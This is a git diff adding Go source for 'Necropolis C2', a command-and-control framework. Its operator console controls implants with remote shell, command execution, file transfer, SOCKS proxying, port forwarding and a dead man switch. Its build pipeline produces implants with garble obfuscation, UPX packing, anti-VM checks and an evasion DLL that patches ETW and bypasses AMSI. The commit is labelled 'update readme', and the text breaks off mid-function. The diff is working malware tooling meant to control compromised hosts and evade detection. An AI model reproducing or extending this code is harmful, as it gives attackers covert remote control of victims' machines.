update readme
This commit is contained in:
@@ -0,0 +1,555 @@
|
||||
// Interactive command-line console for the operator. Provides command dispatch with
|
||||
// history, auto-complete hints, and context-sensitive prompts.
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/peterh/liner"
|
||||
)
|
||||
|
||||
var commandHelp = map[string]string{
|
||||
"list": "list — show registered implants",
|
||||
"select": "select <idx> — select implant by index",
|
||||
"ps": "ps — list processes on selected implant",
|
||||
"ls": "ls [path] — list directory (default: .)",
|
||||
"cd": "cd [path] — change directory (default: .)",
|
||||
"pwd": "pwd — print working directory",
|
||||
"shell": "shell — interactive shell on selected implant (direct libp2p stream)",
|
||||
"portfwd": "portfwd <local-port> <target-host:target-port> — forward local port through implant",
|
||||
"exec": "exec <command> [args...] — execute command on selected implant",
|
||||
"deadman": "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
|
||||
"download": "download <remote-path> — download file from implant",
|
||||
"upload": "upload <local-path> <remote-path> — upload file to implant",
|
||||
"kill": "kill — terminate the selected implant",
|
||||
"generate": "generate [flags] — build an implant\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./necropolis-implant)\n --pubkey <path> operator public key (default: ~/.necropolis/operator.pub)\n --upx enable UPX compression (default: false)\n --obfuscate obfuscate the binary with garble\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (65+ techniques)\n --evasion embed Zig evasion DLL (kernel bypass on Windows)",
|
||||
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
|
||||
"socks": "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
|
||||
"help": "help [command] — show this help or help for a specific command",
|
||||
"exit": "exit — quit the console",
|
||||
}
|
||||
|
||||
// checkHelp returns true if --help or -h is present in the args.
|
||||
func checkHelp(args []string) bool {
|
||||
for _, a := range args {
|
||||
if a == "--help" || a == "-h" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// RunCLI starts the interactive operator console read-eval-print loop. It handles
|
||||
// implant selection, command dispatch, and manages the implant connection context.
|
||||
func (o *Operator) RunCLI() {
|
||||
os.MkdirAll(necropolisDir(), 0700)
|
||||
|
||||
line := liner.NewLiner()
|
||||
defer line.Close()
|
||||
|
||||
line.SetCtrlCAborts(true)
|
||||
|
||||
histPath := filepath.Join(necropolisDir(), "history")
|
||||
if f, err := os.Open(histPath); err == nil {
|
||||
line.ReadHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
defer saveHistory(histPath, line)
|
||||
|
||||
var selected *ImplantRecord
|
||||
|
||||
fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
|
||||
fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
|
||||
fmt.Println()
|
||||
|
||||
for {
|
||||
if selected != nil && selected.Disconnected {
|
||||
fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
|
||||
selected = nil
|
||||
}
|
||||
|
||||
prompt := boldRed("necropolis") + "> "
|
||||
if selected != nil {
|
||||
prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
|
||||
}
|
||||
|
||||
fmt.Print(prompt)
|
||||
input, err := line.Prompt("")
|
||||
if err != nil {
|
||||
if err == liner.ErrPromptAborted {
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
input = strings.TrimSpace(input)
|
||||
if input == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
line.AppendHistory(input)
|
||||
|
||||
parts := strings.Fields(input)
|
||||
cmd := parts[0]
|
||||
args := parts[1:]
|
||||
|
||||
switch cmd {
|
||||
case "exit", "quit":
|
||||
return
|
||||
|
||||
case "help":
|
||||
if len(args) > 0 {
|
||||
if h, ok := commandHelp[args[0]]; ok {
|
||||
fmt.Println(" " + h)
|
||||
} else {
|
||||
fmt.Printf("no help for '%s'\n", args[0])
|
||||
}
|
||||
continue
|
||||
}
|
||||
fmt.Println("Commands:")
|
||||
for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
|
||||
line := commandHelp[name]
|
||||
if i := strings.IndexByte(line, '\n'); i >= 0 {
|
||||
line = line[:i]
|
||||
}
|
||||
fmt.Println(" " + line)
|
||||
}
|
||||
fmt.Println("Use 'help <command>' for details and flags.")
|
||||
|
||||
case "list":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["list"])
|
||||
continue
|
||||
}
|
||||
implants := o.ListImplants()
|
||||
active := 0
|
||||
relayCount := 0
|
||||
for _, rec := range implants {
|
||||
if rec.Disconnected {
|
||||
continue
|
||||
}
|
||||
relay := ""
|
||||
if rec.IsRelay {
|
||||
relay = " " + dimYellow("[relay]")
|
||||
relayCount++
|
||||
}
|
||||
ago := time.Since(rec.LastCheckin).Round(time.Second)
|
||||
fmt.Printf(" %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
|
||||
active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
|
||||
active++
|
||||
}
|
||||
if active == 0 {
|
||||
fmt.Println("no connected implants")
|
||||
} else {
|
||||
fmt.Printf("%d connected (%d relays)\n", active, relayCount)
|
||||
}
|
||||
|
||||
case "select":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["select"])
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: select <idx>")
|
||||
continue
|
||||
}
|
||||
idx, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Printf("bad index: %v\n", err)
|
||||
continue
|
||||
}
|
||||
implants := o.ListImplants()
|
||||
// Filter to only connected implants for indexing
|
||||
var connected []*ImplantRecord
|
||||
for _, rec := range implants {
|
||||
if !rec.Disconnected {
|
||||
connected = append(connected, rec)
|
||||
}
|
||||
}
|
||||
if idx < 0 || idx >= len(connected) {
|
||||
fmt.Println("index out of range")
|
||||
continue
|
||||
}
|
||||
selected = connected[idx]
|
||||
o.SetSelected(selected.PeerID)
|
||||
fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)
|
||||
|
||||
case "ps":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ps"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if err := o.Ps(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "ls":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["ls"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
path := "."
|
||||
if len(args) > 0 {
|
||||
path = args[0]
|
||||
}
|
||||
if err := o.Ls(selected.PeerID, path); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "cd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["cd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
path := "."
|
||||
if len(args) > 0 {
|
||||
path = args[0]
|
||||
}
|
||||
if err := o.Cd(selected.PeerID, path); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "pwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["pwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if err := o.Pwd(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "shell":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["shell"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
|
||||
fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
|
||||
if err := o.OpenShell(selected.PeerID); err != nil {
|
||||
fmt.Printf("shell error: %v\n", err)
|
||||
}
|
||||
fmt.Println(dimYellow("=== shell ended ==="))
|
||||
|
||||
case "portfwd":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["portfwd"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
|
||||
continue
|
||||
}
|
||||
localPort, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Printf("bad port: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
|
||||
fmt.Printf("portfwd error: %v\n", err)
|
||||
}
|
||||
|
||||
case "socks":
|
||||
if len(args) == 0 || args[0] == "help" || checkHelp(args) {
|
||||
fmt.Println(" socks <subcommand> [args]")
|
||||
fmt.Println(" subcommands:")
|
||||
fmt.Println(" start <idx|random> <port> — start SOCKS5 proxy (uses saved credentials if available)")
|
||||
fmt.Println(" list — show running SOCKS5 proxies")
|
||||
fmt.Println(" stop <port> — stop a running SOCKS5 proxy")
|
||||
fmt.Println(" reset-creds — clear saved credentials (re-prompt on next start)")
|
||||
continue
|
||||
}
|
||||
|
||||
switch args[0] {
|
||||
case "start":
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: socks start <idx|random> <port>")
|
||||
continue
|
||||
}
|
||||
idArg := args[1]
|
||||
port := 1080
|
||||
if len(args) > 2 {
|
||||
if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
|
||||
port = p
|
||||
} else {
|
||||
fmt.Printf("bad port: %s\n", args[2])
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
creds, _ := LoadSocksCreds()
|
||||
var username, password string
|
||||
if creds != nil {
|
||||
username = creds.Username
|
||||
fmt.Printf("using saved credentials (user: %s)\n", username)
|
||||
pass, err := line.Prompt("SOCKS password: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !checkPassword(pass, creds.PasswordHash) {
|
||||
fmt.Println("incorrect password")
|
||||
continue
|
||||
}
|
||||
password = pass
|
||||
} else {
|
||||
u, err := line.Prompt("SOCKS username: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
p, err := line.Prompt("SOCKS password: ")
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username = u
|
||||
password = p
|
||||
hash, err := hashPassword(password)
|
||||
if err != nil {
|
||||
fmt.Printf("failed to hash password: %v\n", err)
|
||||
continue
|
||||
}
|
||||
if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
|
||||
fmt.Printf("failed to save socks creds: %v\n", err)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
targetID := idArg
|
||||
if idArg != "random" {
|
||||
peerID, rec, err := o.pickImplantPeerID(idArg)
|
||||
if err != nil {
|
||||
fmt.Printf("socks: %v\n", err)
|
||||
continue
|
||||
}
|
||||
targetID = peerID
|
||||
fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
|
||||
}
|
||||
fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
|
||||
if err := o.SocksStart(targetID, port, username, password); err != nil {
|
||||
fmt.Printf("socks start error: %v\n", err)
|
||||
}
|
||||
|
||||
case "list":
|
||||
proxies := o.SocksList()
|
||||
if len(proxies) == 0 {
|
||||
fmt.Println("no SOCKS5 proxies running")
|
||||
} else {
|
||||
fmt.Println("SOCKS5 proxies:")
|
||||
for _, p := range proxies {
|
||||
uptime := time.Since(p.StartTime).Round(time.Second)
|
||||
fmt.Printf(" %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
|
||||
}
|
||||
}
|
||||
|
||||
case "stop":
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: socks stop <port>")
|
||||
continue
|
||||
}
|
||||
port, err := strconv.Atoi(args[1])
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
fmt.Printf("bad port: %s\n", args[1])
|
||||
continue
|
||||
}
|
||||
if err := o.SocksStop(port); err != nil {
|
||||
fmt.Printf("socks stop error: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
|
||||
}
|
||||
|
||||
case "reset-creds":
|
||||
if err := ClearSocksCreds(); err != nil {
|
||||
fmt.Printf("reset-creds error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("SOCKS credentials cleared")
|
||||
}
|
||||
|
||||
default:
|
||||
fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
|
||||
}
|
||||
|
||||
case "download":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["download"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: download <path>")
|
||||
continue
|
||||
}
|
||||
if err := o.Download(selected.PeerID, args[0]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("download command sent")
|
||||
}
|
||||
|
||||
case "upload":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["upload"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: upload <src> <dst>")
|
||||
continue
|
||||
}
|
||||
fmt.Printf("uploading %s...\n", args[0])
|
||||
if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("upload command sent")
|
||||
}
|
||||
|
||||
case "exec", "execute":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["exec"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) == 0 {
|
||||
fmt.Println("usage: exec <cmd> [args...]")
|
||||
continue
|
||||
}
|
||||
if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("command sent")
|
||||
}
|
||||
|
||||
case "deadman":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["deadman"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
if len(args) < 2 {
|
||||
fmt.Println("usage: deadman <timeout_seconds> <command>")
|
||||
continue
|
||||
}
|
||||
timeout, err := strconv.Atoi(args[0])
|
||||
if err != nil {
|
||||
fmt.Println("timeout must be a number")
|
||||
continue
|
||||
}
|
||||
cmd := strings.Join(args[1:], " ")
|
||||
if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
|
||||
}
|
||||
|
||||
case "kill":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["kill"])
|
||||
continue
|
||||
}
|
||||
if selected == nil {
|
||||
fmt.Println("no implant selected (use 'select <idx>')")
|
||||
continue
|
||||
}
|
||||
fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
|
||||
ans, _ := line.Prompt("")
|
||||
if ans != "y" && ans != "Y" && ans != "yes" {
|
||||
fmt.Println("cancelled")
|
||||
continue
|
||||
}
|
||||
if err := o.Kill(selected.PeerID); err != nil {
|
||||
fmt.Printf("error: %v\n", err)
|
||||
} else {
|
||||
fmt.Println("kill command sent")
|
||||
}
|
||||
|
||||
case "generate":
|
||||
if checkHelp(args) {
|
||||
fmt.Println(" " + commandHelp["generate"])
|
||||
continue
|
||||
}
|
||||
if err := RunGenerate(args); err != nil {
|
||||
fmt.Printf("generate error: %v\n", err)
|
||||
}
|
||||
|
||||
case "regenerate":
|
||||
fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
|
||||
fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
|
||||
ans, err := line.Prompt("Are you sure? [y/N] ")
|
||||
if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
|
||||
fmt.Println("cancelled")
|
||||
continue
|
||||
}
|
||||
keyPath := keyPath()
|
||||
pubPath := pubKeyPath()
|
||||
os.Remove(keyPath)
|
||||
os.Remove(pubPath)
|
||||
log.Printf("deleted %s and %s", keyPath, pubPath)
|
||||
log.Printf("regenerated keys will take effect on next startup")
|
||||
fmt.Println("Restart necropolis for the new keys to take effect.")
|
||||
|
||||
default:
|
||||
fmt.Printf("unknown command: %s (try 'help')\n", cmd)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// saveHistory persists the console command history to disk.
|
||||
func saveHistory(path string, line *liner.State) {
|
||||
if f, err := os.Create(path); err == nil {
|
||||
line.WriteHistory(f)
|
||||
f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// shortenStr truncates a string to max characters with ellipsis.
|
||||
func shortenStr(s string, max int) string {
|
||||
if len(s) <= max {
|
||||
return s
|
||||
}
|
||||
return s[:max] + "..."
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package core
|
||||
|
||||
import "fmt"
|
||||
|
||||
// ANSI escape codes — works on Windows Terminal, WSL, macOS, Linux
|
||||
|
||||
const (
|
||||
reset = "\033[0m"
|
||||
bold = "\033[1m"
|
||||
dim = "\033[2m"
|
||||
|
||||
red = "\033[31m"
|
||||
green = "\033[32m"
|
||||
yellow = "\033[33m"
|
||||
blue = "\033[34m"
|
||||
magenta = "\033[35m"
|
||||
cyan = "\033[36m"
|
||||
darkRed = "\033[31m"
|
||||
)
|
||||
|
||||
func colorize(color, text string) string {
|
||||
return color + text + reset
|
||||
}
|
||||
|
||||
func boldRed(s string) string { return bold + red + s + reset }
|
||||
func boldGreen(s string) string { return bold + green + s + reset }
|
||||
func boldBlue(s string) string { return bold + blue + s + reset }
|
||||
func boldCyan(s string) string { return bold + cyan + s + reset }
|
||||
func dimYellow(s string) string { return dim + yellow + s + reset }
|
||||
func redText(s string) string { return red + s + reset }
|
||||
func greenText(s string) string { return green + s + reset }
|
||||
func cyanText(s string) string { return cyan + s + reset }
|
||||
func darkRedText(s string) string { return dim + darkRed + s + reset }
|
||||
func magentaBold(s string) string { return bold + magenta + s + reset }
|
||||
|
||||
func colorf(color, format string, args ...interface{}) string {
|
||||
return color + fmt.Sprintf(format, args...) + reset
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
package embedsrc
|
||||
|
||||
import _ "embed"
|
||||
|
||||
//go:embed implant_src.tar.gz
|
||||
var ImplantSourceArchive []byte
|
||||
@@ -0,0 +1,419 @@
|
||||
// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
|
||||
// cross-compiles via Go or garble, and optionally compresses with UPX.
|
||||
package core
|
||||
|
||||
import (
|
||||
"archive/tar"
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/rand"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"github.com/libp2p/go-libp2p/core/peer"
|
||||
|
||||
"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
|
||||
)
|
||||
|
||||
// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
|
||||
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
|
||||
type GenerateConfig struct {
|
||||
PubKeyPath string
|
||||
OutputPath string
|
||||
TargetOS string
|
||||
TargetArch string
|
||||
UseUPX bool
|
||||
Obfuscate bool
|
||||
Quiet bool
|
||||
Antivm bool
|
||||
Evasion bool
|
||||
}
|
||||
|
||||
// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
|
||||
func RunGenerate(args []string) error {
|
||||
cfg := GenerateConfig{
|
||||
PubKeyPath: defaultPubKeyPath(),
|
||||
OutputPath: "necropolis-implant",
|
||||
TargetOS: "linux",
|
||||
TargetArch: "amd64",
|
||||
}
|
||||
|
||||
fs := flag.NewFlagSet("generate", flag.ExitOnError)
|
||||
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
|
||||
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
|
||||
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
|
||||
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
|
||||
fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
|
||||
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
|
||||
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
|
||||
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
|
||||
fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
|
||||
fs.Parse(args)
|
||||
|
||||
return BuildImplant(cfg)
|
||||
}
|
||||
|
||||
// BuildImplant reads the operator's public key and box key, generates a fresh implant
|
||||
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
|
||||
// (optionally through garble), optionally strips symbols and compresses with UPX.
|
||||
func BuildImplant(cfg GenerateConfig) error {
|
||||
pubData, err := os.ReadFile(cfg.PubKeyPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
|
||||
}
|
||||
|
||||
necropolisDir := filepath.Dir(cfg.PubKeyPath)
|
||||
boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
|
||||
if len(boxPubData) != 32 {
|
||||
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
|
||||
}
|
||||
authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
|
||||
if err != nil || len(authTokenData) != 32 {
|
||||
return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
|
||||
}
|
||||
|
||||
log.Printf("[+] generating implant keypair...")
|
||||
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
|
||||
if err != nil {
|
||||
return fmt.Errorf("generate implant key: %w", err)
|
||||
}
|
||||
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
|
||||
if err != nil {
|
||||
return fmt.Errorf("marshal implant private key: %w", err)
|
||||
}
|
||||
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
|
||||
log.Printf("[*] PeerID: %s", implantPeerID.String())
|
||||
|
||||
log.Printf("[+] embedding credentials...")
|
||||
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
|
||||
if err != nil {
|
||||
return fmt.Errorf("prepare build directory: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(buildDir)
|
||||
|
||||
outPath := cfg.OutputPath
|
||||
if !filepath.IsAbs(outPath) {
|
||||
wd, _ := os.Getwd()
|
||||
outPath = filepath.Join(wd, outPath)
|
||||
}
|
||||
if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
|
||||
outPath += ".exe"
|
||||
}
|
||||
|
||||
_, err = ensureGo()
|
||||
if err != nil {
|
||||
return fmt.Errorf("go not available: %w", err)
|
||||
}
|
||||
|
||||
goBin := findGo()
|
||||
|
||||
ldflags := "-s -w -buildid="
|
||||
if cfg.Quiet && cfg.TargetOS == "windows" {
|
||||
ldflags += " -H=windowsgui"
|
||||
}
|
||||
|
||||
var builder string
|
||||
var buildArgs []string
|
||||
buildPath := os.Getenv("PATH")
|
||||
if cfg.Obfuscate {
|
||||
garble, err := ensureGarble(goBin)
|
||||
if err != nil {
|
||||
return fmt.Errorf("garble not available: %w", err)
|
||||
}
|
||||
if _, err := exec.LookPath("git"); err != nil {
|
||||
log.Print("git not found. Attempting to install...")
|
||||
gitBin, err := installGit()
|
||||
if err != nil {
|
||||
return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
|
||||
}
|
||||
gitDir := filepath.Dir(gitBin)
|
||||
if !strings.Contains(buildPath, gitDir) {
|
||||
buildPath = gitDir + string(os.PathListSeparator) + buildPath
|
||||
}
|
||||
}
|
||||
builder = garble
|
||||
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
// build from project root so GOGARBLE scopes to our packages.
|
||||
// Temp dir breaks import path resolution needed for obfuscation filtering.
|
||||
wd, _ := os.Getwd()
|
||||
restore := backupStubs(filepath.Join("implant", "core"))
|
||||
defer restore()
|
||||
writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
|
||||
buildDir = wd
|
||||
log.Printf("[+] obfuscation: garble -literals -tiny")
|
||||
} else {
|
||||
builder = goBin
|
||||
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
|
||||
}
|
||||
|
||||
if cfg.Antivm {
|
||||
buildArgs = append(buildArgs, "-tags=antivm")
|
||||
}
|
||||
if cfg.Evasion {
|
||||
buildArgs = append(buildArgs, "-tags=evasion")
|
||||
log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
|
||||
log.Printf("[+] embedding my lillll ahh valak.dll ;)")
|
||||
}
|
||||
buildArgs = append(buildArgs, "./implant/")
|
||||
|
||||
cmd := exec.Command(builder, buildArgs...)
|
||||
goDir := filepath.Dir(goBin)
|
||||
if !strings.Contains(buildPath, goDir) {
|
||||
buildPath = goDir + string(os.PathListSeparator) + buildPath
|
||||
}
|
||||
|
||||
env := []string{
|
||||
"GOOS=" + cfg.TargetOS,
|
||||
"GOARCH=" + cfg.TargetArch,
|
||||
"CGO_ENABLED=0",
|
||||
"PATH=" + buildPath,
|
||||
"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
|
||||
}
|
||||
cmd.Env = append(os.Environ(), env...)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Dir = buildDir
|
||||
|
||||
log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("build: %w", err)
|
||||
}
|
||||
if fi, err := os.Stat(outPath); err == nil {
|
||||
log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
|
||||
}
|
||||
|
||||
// strip for Linux/macOS to remove any remaining symbol tables
|
||||
if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
|
||||
stripCmd := exec.Command("strip", "-s", outPath)
|
||||
_ = stripCmd.Run()
|
||||
}
|
||||
|
||||
if cfg.UseUPX {
|
||||
if upxPath, err := exec.LookPath("upx"); err == nil {
|
||||
log.Printf("applying UPX compression...")
|
||||
upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
|
||||
upx.Stdout = os.Stdout
|
||||
upx.Stderr = os.Stderr
|
||||
if err := upx.Run(); err != nil {
|
||||
log.Printf("upx compression skipped: %v", err)
|
||||
}
|
||||
} else {
|
||||
log.Printf("upx not found, skipping compression")
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// prepareBuildDir creates a temp directory with the implant source, embedded operator
|
||||
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
|
||||
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
|
||||
dir, err := os.MkdirTemp("", "necropolis-build-*")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("create temp dir: %w", err)
|
||||
}
|
||||
|
||||
pubLiteral := bytesLiteral(pubKeyData)
|
||||
boxPubLiteral := bytesLiteral(boxPubKeyData)
|
||||
privLiteral := bytesLiteral(privKeyData)
|
||||
authLiteral := bytesLiteral(authTokenData)
|
||||
pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
|
||||
package core
|
||||
|
||||
var embeddedOperatorPubKey = %s
|
||||
`, pubLiteral)
|
||||
boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
